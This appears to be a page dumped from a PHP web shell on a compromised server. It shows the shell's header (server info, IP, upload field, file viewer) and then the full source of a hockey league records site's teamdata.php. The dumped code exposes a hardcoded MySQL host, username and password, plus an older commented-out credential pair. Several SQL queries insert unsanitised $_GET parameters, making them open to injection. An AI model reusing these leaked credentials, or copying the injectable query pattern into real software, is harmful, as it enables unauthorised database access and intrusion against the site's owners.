AlaK4X
Linux lhjmq-records 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64



Your IP : 18.222.67.8


Current Path : /var/www/lhjmq-records.qc.ca/public_html/lang_en/teams/
Upload File :
Current File : /var/www/lhjmq-records.qc.ca/public_html/lang_en/teams/teamdata.php

<!--[if lte IE 6]>
<style type="text/css">
#pteam .tab-page { margin-top:-4px; }
</style>
<![endif]-->

<style>
<!--#pteam .tab a, #pteam .tab span { letter-spacing:normal; }-->
</style>
<?php
$contents = file_get_contents("http://lhjmq-records.qc.ca/lang_fr/teams/captions.json");
$results = json_decode($contents,true);
function object2array($object) { return @json_decode(@json_encode($object),1); }
$joueur_vedette_json = object2array($results);

			$calendarlink = "index.php?page=234342412&calendar_mode=0&id_type_cal=0&browse_mode=1&id_saison=".$id_reg_saison."&startdate=".substr($nearest_reg_season['date_start'], 0, 10)."&enddate=".substr($nearest_reg_season['date_end'], 0, 10)."&id_equipe=" . $equipe[$id_equipe][hist_parent] . "&teammode=1";
			$calendarserielink = "index.php?page=234342412&calendar_mode=0&id_type_cal=2&browse_mode=1&id_saison=".$id_pyf_saison."&startdate=".substr($nearest_pyf_season['date_start'], 0, 10)."&enddate=".substr($nearest_pyf_season['date_end'], 0, 10)."&id_equipe=" . $equipe[$id_equipe][hist_parent] . "&teammode=1";
			$resultlink = "index.php?page=234342412&calendar_mode=1&id_type_cal=0&browse_mode=1&id_saison=".$id_reg_saison."&startdate=".substr($nearest_reg_season['date_start'], 0, 10)."&enddate=".substr($nearest_reg_season['date_end'], 0, 10)."&id_equipe=" . $equipe[$id_equipe][hist_parent] . "&teammode=1";
			$resultserielink = "index.php?page=234342412&calendar_mode=1&id_type_cal=2&browse_mode=1&id_saison=".$id_pyf_saison."&startdate=".substr($nearest_pyf_season['date_start'], 0, 10)."&enddate=".substr($nearest_pyf_season['date_end'], 0, 10)."&id_equipe=" . $equipe[$id_equipe][hist_parent] . "&teammode=1";
			$albumlink = "index.php?page=44444&equipe=" . $equipe[$id_equipe][hist_parent];


			$currentLS_ids = @mysql_fetch_assoc(@mysql_query($sql = "SELECT * FROM `register_teams` WHERE EqLienGroupimage = '" . $_GET['id_equipe'] . "' AND GI_SeasonID = '" . $_GET['currentseason'] . "' LIMIT 1", $mysql_link));
			$link_LS_ids = $currentLS_ids['LS_SeasonID'].'/'.$currentLS_ids['LSTeamLink'];		
			$link_LS_ids_images = $currentLS_ids['LSTeamLink'].'_'.$currentLS_ids['LS_SeasonID'];	
			$link_LS_ids_roster = $currentLS_ids['LSTeamLink'].'/'.$currentLS_ids['LS_SeasonID'];	
			$link_LS_ids_player = $currentLS_ids['LS_SeasonID'].$currentLS_ids['LSTeamLink'];	


			function validate_image_existe_ls($url){
				
				$pathtoimg = $url.'.png';
				$im = @imageCreateFromPng($pathtoimg);
				if($im){
				  imagedestroy($im); // dont save, just ack...
				  return $pathtoimg;
				}  
				elseif(!$missing[$inum])
				{		
					$pathtoimg = $url.'.jpg';
					$im = @imagecreatefromjpeg($pathtoimg);
					if($im){
					  imagedestroy($im); // dont save, just ack...
					  return $pathtoimg;
					}  
					elseif(!$missing[$inum]){
							return false;
					}
				}
			
			}

 			$image_joueur_vedette = validate_image_existe_ls('http://assets.leaguestat.com/lhjmq/logos/164x219/'.$link_LS_ids_images);
 			$image_equipe_vedette = validate_image_existe_ls('http://assets.leaguestat.com/lhjmq/logos/168x127/'.$link_LS_ids_images);

			?>
<div class="tabs-menu-wrap">
    <ul class="tabs-menu">
    <li><a href="http://theqmjhl.ca/roster/<?=$link_LS_ids_roster;?>" onfocus="if (this.blur)this.blur()" class="<?= $_REQUEST[page] == '8392' ? 'active' : '' ?>">Roster</a></li
		><li><a href="index.php?page=27844&id_equipe=<?= $id_equipe ?>&currentseason=<?= $season['id'] ?>" onfocus="if (this.blur)this.blur()" class="<?= $_REQUEST[page] == '27844' ? 'active' : '' ?>">History</a></li
		><li><a href="index.php?page=74620&id_equipe=<?= $id_equipe ?>&currentseason=<?= $season['id'] ?>" onfocus="if (this.blur)this.blur()" class="<?= $_REQUEST[page] == '74620' ? 'active' : '' ?>">Stats / Records</a></li
		><li><a href="http://theqmjhl.ca/transactions/<?=$link_LS_ids;?>" onfocus="if (this.blur)this.blur()" class="<?= $_REQUEST[page] == '2210549' ? 'active' : '' ?>">Trades</a></li
		><li><a href="http://theqmjhl.ca/schedule/<?=$link_LS_ids;?>">Results</a></li>
    </ul>
</div> 



<?/*<table cellpadding="0" cellspacing="0" border="0" width="598" style="background:url(/images/players/bg_sub.png) top no-repeat;height:40px;" align="center">
	<tr>
		<td valign="top" align="center">
			<div id="menu-tab-page" class="tab-page">
				<h2 class="tab">
					<a href="index.php?page=8392&id_equipe=<?= $id_equipe ?>&currentseason=<?= $season['id'] ?>" onfocus="if (this.blur)this.blur()" class="<?= $_REQUEST[page] == '8392' ? 'color1' : 'color2' ?>">Roster</a
					><span> | </span><a href="index.php?page=19337&id_equipe=<?= $id_equipe ?>&currentseason=<?= $season['id'] ?>" onfocus="if (this.blur)this.blur()" class="<?= $_REQUEST[page] == '19337' ? 'color1' : 'color2' ?>">Arena</a
					><span> | </span><a href="index.php?page=306836&id_equipe=<?= $id_equipe ?>&currentseason=<?= $season['id'] ?>" onfocus="if (this.blur)this.blur()" class="<?= $_REQUEST[page] == '306836' ? 'color1' : 'color2' ?>">Staff</a
					><span> | </span><a href="index.php?page=27844&id_equipe=<?= $id_equipe ?>&currentseason=<?= $season['id'] ?>" onfocus="if (this.blur)this.blur()" class="<?= $_REQUEST[page] == '27844' ? 'color1' : 'color2' ?>">History</a
					><span> | </span><a href="index.php?page=74620&id_equipe=<?= $id_equipe ?>&currentseason=<?= $season['id'] ?>" onfocus="if (this.blur)this.blur()" class="<?= $_REQUEST[page] == '74620' ? 'color1' : 'color2' ?>">Stats / Records</a
					><span> | </span><a href="index.php?page=238934&id_equipe=<?= $id_equipe ?>&currentseason=<?= $season['id'] ?>" onfocus="if (this.blur)this.blur()" class="<?= $_REQUEST[page] == '238934' ? 'color1' : 'color2' ?>">Entry Draft</a
					><span> | </span><a href="index.php?page=2210549&id_equipe=<?= $id_equipe ?>&currentseason=<?= $season['id'] ?>" onfocus="if (this.blur)this.blur()" class="<?= $_REQUEST[page] == '2210549' ? 'color1' : 'color2' ?>">Trades</a
					><span> | </span><a href="index.php?page=127435&id_equipe=<?= $id_equipe ?>&currentseason=<?= $season['id'] ?>" onfocus="if (this.blur)this.blur()" class="<?= $_REQUEST[page] == '127435' ? 'color1' : 'color2' ?>">Attendance</a>
				</h2>
			</div>
		</td>
	</tr>
</table>
*/?>

<?php

$franchiseasons = @mysql_query($sql = "SELECT year( sys_date ) AS franc_year FROM equipes_hist WHERE hist_parent ='".$id_equipe."' GROUP BY year( sys_date )", $mysql_link);
$franchisname = @mysql_fetch_assoc(@mysql_query($sql = "SELECT name FROM equipes WHERE id_equipe = '".$id_equipe."'", $mysql_link));

if (isset($_GET['currentseason']) && $_GET['currentseason'] != "") {
	$seasons = season_get($mysql_link, $_GET['currentseason']);
	//Get the team data
	//$equipe = team_get_data($mysql_link, $id_equipe, $seasons['date_start']);

	//echo "test1";

	if ($showcheckplayers == "true") {
		$equipe = team_get_data($mysql_link, $id_equipe, date('Y-m-d'));
	}
	else
	{
		$equipe = team_get_data($mysql_link, $id_equipe, $seasons['date_start']);
	}
	$nearest_reg_season = $seasons;
	$id_reg_saison = $_GET['currentseason'];
	//echo $seasons['date_start'];
	//echo $seasons['date_end'];
	$nearest_pyf_season = playoff_get($mysql_link, $seasons['date_start'], $seasons['date_end']);
	$id_pyf_saison = $nearest_pyf_season['id'];

}
else {
	//Nearest regular season

	//echo "test2";

	$seasons = season_list($mysql_link, SEASON_TYPE_REG, 'DESC');
	$keys = array_keys($seasons);
	$id_reg_saison = $keys[0];
	$nearest_reg_season = $seasons[$id_reg_saison];

	//Nearest regular season
	$seasons = season_list($mysql_link, SEASON_TYPE_PYF, 'DESC');
	$keys = array_keys($seasons);
	$id_pyf_saison = $keys[0];
	$nearest_pyf_season = $seasons[$id_pyf_saison];

	//Get the team data
	$equipe = team_get_data($mysql_link, $id_equipe, date('Y-m-d'));
	//echo "ppppppppp";
}



$iBeginYear = substr($season['date_start'], 0, 4);
$iEndYear = substr($season['date_end'], 0, 4);



//echo $iBeginYear;
//echo $iEndYear;

if (isset($_GET['id_equipe']) and is_numeric($_GET['id_equipe'])) {
	$tempfilter = mysql_fetch_assoc(mysql_query($sql = "SELECT hist_abbrev FROM equipes_hist WHERE hist_parent = '" . $_GET['id_equipe'] . "' and hist_abbrev <> '' and sys_date >= '".$iBeginYear."-06-01' and sys_date <= '".$iEndYear."-05-30' order by sys_date desc limit 1", $mysql_link));
	//echo $sql;
	$filter_id = $tempfilter['hist_abbrev'];
}

function validate_team_playoff_played($start_year,$end_year,$teamfilter) {
	$mysql_host = "mysql-readwrite"; // master (Rum)
	$mysql_user = "lhjmq";
	$mysql_pass = "45GhiLk19cQ";
	$mysql_link2 = mysql_connect("$mysql_host", "$mysql_user", "$mysql_pass");
	//$mysql_link2 = mysql_connect('209.104.115.214', 'Lhcarranza', '899357');

	mysql_select_db('lhjmqstats_pii', $mysql_link2);

	$new_start_year_temp = substr($start_year, 2, 2);
	$new_end_year_temp = substr($end_year, 2, 2);

	$checkyearplayed = @mysql_fetch_assoc(@mysql_query($sql = " SELECT count(*) as total FROM pyf_" . $new_start_year_temp . $new_end_year_temp . "_v2_TeamsIndividualRec WHERE EQ = '".$teamfilter."' ", $mysql_link2));

	if ($checkyearplayed['total'] == "") {
		return "false";
	}
	else {
		return "true";
	}
}

$year20112012 = @mysql_fetch_assoc(@mysql_query($sql = "SELECT * FROM `register_teams` WHERE EqLienGroupimage = '" . $_GET['id_equipe'] . "' AND Saison = '2011-2012' LIMIT 1", $mysql_link));
$link20112012 = $year20112012['LSTeamLink'].'/'.$year20112012['LS_SeasonID'];

$year20122013 = @mysql_fetch_assoc(@mysql_query($sql = "SELECT * FROM `register_teams` WHERE EqLienGroupimage = '" . $_GET['id_equipe'] . "' AND Saison = '2012-2013' LIMIT 1", $mysql_link));
$link20122013 = $year20122013['LSTeamLink'].'/'.$year20122013['LS_SeasonID'];

$year20132014 = @mysql_fetch_assoc(@mysql_query($sql = "SELECT * FROM `register_teams` WHERE EqLienGroupimage = '" . $_GET['id_equipe'] . "' AND Saison = '2013-2014' LIMIT 1", $mysql_link));
$link20132014 = $year20132014['LSTeamLink'].'/'.$year20132014['LS_SeasonID'];

$year20142015 = @mysql_fetch_assoc(@mysql_query($sql = "SELECT * FROM `register_teams` WHERE EqLienGroupimage = '" . $_GET['id_equipe'] . "' AND Saison = '2014-2015' LIMIT 1", $mysql_link));
$link20142015 = $year20142015['LSTeamLink'].'/'.$year20142015['LS_SeasonID'];	

$year20152016 = @mysql_fetch_assoc(@mysql_query($sql = "SELECT * FROM `register_teams` WHERE EqLienGroupimage = '" . $_GET['id_equipe'] . "' AND Saison = '2015-2016' LIMIT 1", $mysql_link));
$link20152016 = $year20152016['LSTeamLink'].'/'.$year20152016['LS_SeasonID'];	


$showplayoff = validate_team_playoff_played($iBeginYear,$iEndYear,$filter_id);

?>

<!-- BEGIN print_top_div -->
<div id="print_top_div">

<div class="row">
    <div class="col-sm-3">
			<div style="display:inline-block;text-align:center;">
    			
				<?php
				if ($image_joueur_vedette != false) {
				?>
				<img src="<?=$image_joueur_vedette?>" class="img-responsive" style="-webkit-border-radius: 5px;-moz-border-radius: 5px;border-radius: 5px;margin:0 auto 10px auto;" alt="<?=utf8_decode($joueur_vedette_json[$link_LS_ids_player]['logo_caption_fr'])?>" >

				<?php
				echo utf8_decode($joueur_vedette_json[$link_LS_ids_player]['logo_caption_fr']);
				?>				
				<!--<img src="<?php echo $equipe[$id_equipe][hist_picother]; ?>" border="0" style="-webkit-border-radius: 5px;-moz-border-radius: 5px;border-radius: 5px;">//-->
					<?php
				}
				?>
				
			</div>        
    </div>
    <div class="col-sm-3">

			<?/*<table width="100%" border="0" cellspacing="0" cellpadding="0">
				<tr>
					<td style="font-size:10px;font-weight:bold;padding:0 25px 30px 0px;" align="center"><?php echo $equipe[$id_equipe][hist_picother_legend_en]; ?></td>
				</tr>
			</table>*/?>

        <div id="team_info">
			<div style="display:inline-block;text-align:center;">
    
    			<?php if ($image_joueur_vedette != false) { ?>				
    				<img src="<?php echo $image_equipe_vedette; ?>" class="img-responsive">
    			<?php } ?>
    
    			<p><span style="font-size:24px;"><i><b><?php echo $equipe[$id_equipe][hist_name]; ?></b></i></span><br /><i><?php echo $equipe[$id_equipe][hist_city]; ?></i></p>
    			
		    </div>	
			
			<p class="blackText11px">
				<?php
				/*
				if (!empty($equipe[$id_equipe]['hist_contact_address'])) {
					echo $equipe[$id_equipe]['hist_contact_address'];
				}
				
				if (!empty($equipe[$id_equipe]['hist_contact_city']) && $equipe[$id_equipe]['hist_contact_city'] != '.') {
					echo ', '.$equipe[$id_equipe]['hist_contact_city'];
				}
				
				if (!empty($equipe[$id_equipe]['hist_contact_province']) && $equipe[$id_equipe]['hist_contact_province'] != '.') {
					echo ', '.$equipe[$id_equipe]['hist_contact_province'];
				}
				
				if (!empty($equipe[$id_equipe]['hist_contact_country']) && $equipe[$id_equipe]['hist_contact_country'] != '.') {
					echo ', '.$equipe[$id_equipe]['hist_contact_country'];
				}
				
				if (!empty($equipe[$id_equipe]['hist_contact_postalcode']) && $equipe[$id_equipe]['hist_contact_postalcode'] != '.') {
					echo ', '.$equipe[$id_equipe]['hist_contact_postalcode'];
				}
				*/
				?>
			</p>
			
			<?php
			/*if ($showcheckplayers == "true") {
				?>
				<p class="blackText11px"> Phone: <?php echo $equipe[$id_equipe][hist_contact_tel]; ?><br />
				<?php
				if ($equipe[$id_equipe][hist_contact_fax] != "") {
				?>
				Fax: <?php echo $equipe[$id_equipe][hist_contact_fax]; ?><br />
				<?php
				}
				if ($equipe[$id_equipe][hist_contact_email] != "") {
				?>
				<a href="mailto:<?php echo $equipe[$id_equipe][hist_contact_email]; ?>" class="lnkBase10px"><?php echo $equipe[$id_equipe][hist_contact_email]; ?></a></p>
				<?php
				}
			}
			if ($equipe[$id_equipe][hist_couleur_en] != "") { ?>
			<p class="blackText11px">Team Colours<br />
				<b><?php echo $equipe[$id_equipe][hist_couleur_en]; ?></b>
			</p>
			<?php }*/ ?>

			</td>
			<td width="188" align="right">

			<?/* remove on hold
			<ul class="menu_team" style="">
			<?php if ($showcheckplayers == "true") {
					 if ($equipe[$id_equipe][hist_contact_web_site] != "") { ?>
						<li class="menu_team_top"><a href="#" onClick="MM_openBrWindow('<?= $equipe[$id_equipe][hist_contact_web_site] ?>','LHJMQteamsite','toolbar=yes,location=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width=600,height=400')" onFocus="if (this.blur)this.blur()">Official Website</a></li>
				<?php } ?>
				<li class="menu_team_main"><a href="<?= $calendarlink ?>&currentseason=<?= $id_reg_saison ?>">Regular Season Schedule</a></li>
				<li class="menu_team_main"><a href="<?= $calendarserielink ?>">Playoffs Schedule</a></li>
			<? } ?>
				<li class="menu_team_main"><a href="<?= $resultlink ?>">Regular Season Results</a></li>
				<li class="menu_team_main"><a href="<?= $resultserielink ?>">Playoffs Results</a></li>
				<li class="menu_team_main"><a href="<?= $albumlink ?>">Photo Album</a></li>
			<?php

			 if ($showcheckplayers == "true") {
			?>
				<li class="menu_team_bottom"><a href="index.php?page=934584342#<?= strtolower($equipe[$id_equipe][hist_abbrev]) ?>">Box Office</a></li>
			<?
			 }
			?>
			</ul>
			<br />
			*/?>
			
		</div>	
			
			
    </div>
    <div class="col-sm-6">			

			<div class="franchises_wrap">    			
    			<div class="franchises_title">Franchise</div>
			
				<div class="franchises_main">	
					<div style="font-size:12px;text-transform:uppercase;"><?php echo $franchisname['name'];?></div>
							
					<form name="francform" method="get" style="margin:0;">
						<select name="currentseason" onchange="javascript:validate_franchise();" id="currentseason" class="form-control">
							<?
								while ($franchisid = @mysql_fetch_assoc($franchisids)) {
									$fBeginYear = substr($franchisid['date_start'], 0, 4);
									$fEndYear = substr($franchisid['date_end'], 0, 4);
							?>
									<option value="<?php echo $franchisid['id'];?>" <?php if ($season['id'] == $franchisid['id']) { echo "selected"; }?> ><?php echo $fBeginYear.'-'.$fEndYear;?></option>
							<?
								}
							?>
							<?php
							if ($_GET['page'] == '8392'){
							?>
									<option value="2011-2012" ><?php echo '2011-2012';?></option>
									<option value="2012-2013" ><?php echo '2012-2013';?></option>
									<option value="2013-2014" ><?php echo '2013-2014';?></option>
									<option value="2014-2015" ><?php echo '2014-2015';?></option>
									<option value="2015-2016" ><?php echo '2015-2016';?></option>	
							<?
							}
							?>						
						</select>
						<input type="hidden" name="id_equipe" value="<?php echo $id_equipe;?>">
						<input type="hidden" name="page" value="<?php echo $_GET['page'];?>">
					</form>
				</div>
			</div>

			<?php if ($_REQUEST['page'] == '27844' || $_REQUEST['page'] == '74620') { ?>
				<!--input type="button" name="b" id="b" value="Imprimer" onclick="print_teams()" /-->
			<?php } ?>

    </div>
</div>

</div>

<script>
	
	function validate_franchise(){
	
		if (document.getElementById("currentseason").value == "2011-2012"){			
			window.open('http://new.lhjmq.qc.ca/roster/<?=$link20112012;?>','win_lhjmq','width=1200,height=800,toolbar=yes,location=yes,directories=yes,status=yes,menubar=yes,scrollbars=yes,copyhistory=yes,resizable=yes');
		}
		else if (document.getElementById("currentseason").value == "2012-2013"){			
			window.open('http://new.lhjmq.qc.ca/roster/<?=$link20122013;?>','win_lhjmq','width=1200,height=800,toolbar=yes,location=yes,directories=yes,status=yes,menubar=yes,scrollbars=yes,copyhistory=yes,resizable=yes');
		}
		else if (document.getElementById("currentseason").value == "2013-2014"){			
			window.open('http://new.lhjmq.qc.ca/roster/<?=$link20132014;?>','win_lhjmq','width=1200,height=800,toolbar=yes,location=yes,directories=yes,status=yes,menubar=yes,scrollbars=yes,copyhistory=yes,resizable=yes');
		}		
		else if (document.getElementById("currentseason").value == "2014-2015"){			
			window.open('http://new.lhjmq.qc.ca/roster/<?=$link20142015;?>','win_lhjmq','width=1200,height=800,toolbar=yes,location=yes,directories=yes,status=yes,menubar=yes,scrollbars=yes,copyhistory=yes,resizable=yes');
		}		
		else if (document.getElementById("currentseason").value == "2015-2016"){			
			window.open('http://new.lhjmq.qc.ca/roster/<?=$link20152016;?>','win_lhjmq','width=1200,height=800,toolbar=yes,location=yes,directories=yes,status=yes,menubar=yes,scrollbars=yes,copyhistory=yes,resizable=yes');
		}										
		else
		{
			francform.submit();
		}
	
	}
</script>
<!-- END print_top_div -->